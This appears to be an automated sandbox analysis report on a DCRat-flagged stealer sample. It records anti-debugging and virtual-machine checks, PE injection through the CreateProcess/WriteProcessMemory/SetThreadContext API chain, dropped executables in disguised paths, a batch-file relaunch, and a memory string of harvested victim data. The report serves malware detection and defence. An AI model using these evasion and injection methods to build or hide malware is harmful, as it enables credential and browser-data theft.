Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 597780	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595712	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593969	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593655	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593453	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 592906	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 592469	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 592062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 591734	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 591312	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 591094	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 590734	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 590375	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 590062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 589719	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 589420	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 589090	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588773	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588593	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588439	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588312	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588203	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 588093	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587984	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587875	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587756	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587640	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587531	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587406	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587281	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587172	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 587062	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586953	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586844	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586727	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Thread delayed: delay time: 586624	Jump to behavior

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: HxB6eC7UvM.18.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HxB6eC7UvM.18.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3324352793.000000001C04C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,1169642
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: HxB6eC7UvM.18.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 7Up9zvGH4w.exe, 0000000A.00000002.2796069543.00000165B8030000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:M
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: HxB6eC7UvM.18.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HxB6eC7UvM.18.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HxB6eC7UvM.18.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HxB6eC7UvM.18.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: HxB6eC7UvM.18.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: HxB6eC7UvM.18.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: HxB6eC7UvM.18.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: HxB6eC7UvM.18.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: HxB6eC7UvM.18.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HxB6eC7UvM.18.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HxB6eC7UvM.18.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: HxB6eC7UvM.18.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HxB6eC7UvM.18.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HxB6eC7UvM.18.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3301476280.0000000000642000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: HxB6eC7UvM.18.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HxB6eC7UvM.18.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HxB6eC7UvM.18.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HxB6eC7UvM.18.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.9.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: HxB6eC7UvM.18.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: HxB6eC7UvM.18.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: HxB6eC7UvM.18.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: HxB6eC7UvM.18.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Code function: 0_2_001F60A4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_001F60A4

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_002131B4 mov edi, dword ptr fs:[00000030h]	0_2_002131B4
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D0350 mov edi, dword ptr fs:[00000030h]	0_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D0350 mov edi, dword ptr fs:[00000030h]	0_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D0350 mov edi, dword ptr fs:[00000030h]	0_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D0350 mov edi, dword ptr fs:[00000030h]	0_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D1D4E mov edi, dword ptr fs:[00000030h]	0_2_001D1D4E
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D0350 mov edi, dword ptr fs:[00000030h]	5_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D0350 mov edi, dword ptr fs:[00000030h]	5_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D0350 mov edi, dword ptr fs:[00000030h]	5_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D0350 mov edi, dword ptr fs:[00000030h]	5_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D1D4E mov edi, dword ptr fs:[00000030h]	5_2_001D1D4E
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0041914C mov eax, dword ptr fs:[00000030h]	6_2_0041914C
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_004114A6 mov ecx, dword ptr fs:[00000030h]	6_2_004114A6

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Code function: 0_2_001FD2D0 GetProcessHeap,

0_2_001FD2D0

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F6098 SetUnhandledExceptionFilter,	0_2_001F6098
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F60A4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001F60A4
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001FA5FA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001FA5FA
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F56C2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001F56C2
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F6098 SetUnhandledExceptionFilter,	5_2_001F6098
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F60A4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_001F60A4
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001FA5FA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_001FA5FA
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F56C2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_001F56C2
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00407B01
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00407C63 SetUnhandledExceptionFilter,	6_2_00407C63
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00407D75 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00407D75
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0040DD78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0040DD78
Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Code function: 10_2_00007FF64C4028E4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF64C4028E4
Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Code function: 10_2_00007FF64C402BE0 SetUnhandledExceptionFilter,	10_2_00007FF64C402BE0

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Code function: 0_2_002131B4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_002131B4

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Memory written: C:\Users\user\Desktop\KyC6hVwU8Z.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe "C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe "C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe "C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe"	Jump to behavior

Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"44","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","066656","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\Prefetch\\ReadyBoot","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.228","US / United States","New York / New York","40.7503 / -74.0014"]
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000250C000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .4",5,1,"","user","066656","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\Prefetch\\ReadyBoot","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.228","US / United States","New York / New York","40.7503 / -74.0014"]
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"44","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","066656","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\Prefetch\\ReadyBoot","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.228","US / United States","New York / New York","40.7503 / -74.0014"] m^
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Code function: 0_2_001F5E5D cpuid

0_2_001F5E5D

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_0041E825
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: EnumSystemLocalesW,	6_2_00414138
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetLocaleInfoW,	6_2_0041EA78
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_0041EBA1
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_0041E412
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetLocaleInfoW,	6_2_0041ECA7
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_0041ED76
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetLocaleInfoW,	6_2_0041465E
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: GetLocaleInfoW,	6_2_0041E60D
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: EnumSystemLocalesW,	6_2_0041E6FF
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: EnumSystemLocalesW,	6_2_0041E6B4
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: EnumSystemLocalesW,	6_2_0041E79A

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Queries volume information: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Queries volume information: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Code function: 0_2_001F6525 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_001F6525

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.436080.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.pPTyCqA3ru.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2794932818.0000000000052000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KyC6hVwU8Z.exe PID: 2292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pPTyCqA3ru.exe PID: 2132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PfjsOcNiQfAmiszo.exe PID: 6180, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

